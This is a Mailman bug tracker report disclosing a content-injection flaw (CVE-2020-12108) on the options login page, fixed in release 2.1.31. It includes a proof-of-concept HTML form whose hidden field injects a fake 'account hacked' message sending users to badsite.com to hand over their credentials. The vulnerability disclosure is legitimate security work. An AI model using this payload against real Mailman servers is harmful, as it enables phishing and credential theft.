Arbitrary Content Injection via the options login page.

Bug #1873722 reported by Mark Sapiro on 2020-04-20

This bug affects 1 person 6

Affects	Status	Importance	Assigned to	Milestone
GNU Mailman	Fix Released	Medium	Mark Sapiro	GNU Mailman 2.1.31

Bug Description

```
An issue similar to CVE - https://www.cvedetails.com/cve/CVE-2018-13796/
exists at different endpoint & param. It can lead to a phishing attack.

Steps To Reproduce:

1. Copy and save the following HTML code and open it in any browser.
Code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/mailman/options/mailman"
method="POST">
      <input type="hidden" name="email" value="Your&#32;account&#32;has&
#32;been&#32;hacked&#46;&#32;Kindly&#32;go&#32;to&#32;https&#58;&#47;
&#47;badsite&#46;com&#32;or&#32;share&#32;your&#32;credentials&#32;at&
#32;attacker&#64;badsite&#46;com" />
      <input type="hidden" name="UserOptions" value="Unsubscribe&#32;or&
#32;edit&#32;options" />
      <input type="hidden" name="language" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Can be seen there- "Your account has been hacked. Kindly go to https:/
/badsite.com or share your credentials at <email address hidden>" message
will be displayed on the screen.
```

Related branches

lp:mailman/2.1

CVE References

2020-12108

Mark Sapiro (msapiro) wrote on 2020-04-20: #1

Patch to fix this issue (458 bytes, text/plain)

Mark Sapiro (msapiro) on 2020-05-05

```
Changed in mailman:
milestone:none → 2.1.31
```

Mark Sapiro (msapiro) on 2020-05-05

```
Changed in mailman:
          status:Confirmed → Fix Released
information type:Private Security → Public
```

See full activity log

To post a comment you must log in.

Report a bug

This report contains **Public** information
Everyone can see this information.

You are not directly subscribed to this bug's notifications.

Edit bug mail

Other bug subscribers

Subscribe someone else

Notified of all changes

Mark Sapiro

May be notified

Abhilash Raj
Adam McGreggor
Aimee Stanley
Alexis Mousset
Barry Warsaw
Bernard
Bernard Keimel
Brian Cox
CLMM
Chris Cargile
Daniel Gusmão
GhostRider3113
James Bolton
James Cloos
Jim Popovitch
Mailman Coders
Marta Sdvoijspa
Moazzam Iqbal
Myanmar2017
Neil Leathers
Ramachandra
SP38
Sebastian Fernando
Stanislaw Findeisen
Terry
Tina Marie Johnson
Visveswaran Sudar...
alawwal
anthony
boslo
carbonnb
cripperz
dobre_tanase95
eugenio minguez
jafar
ktompkins
lavi
mahendra
mathias gebbe
mina
mrhunter1
nicolask
qinghao
r1n3
radiobitro@gmail.com
sharn pentony
timote ioan
مساج فلبيني منزل ...

Patches

Patch to fix this issue

Add patch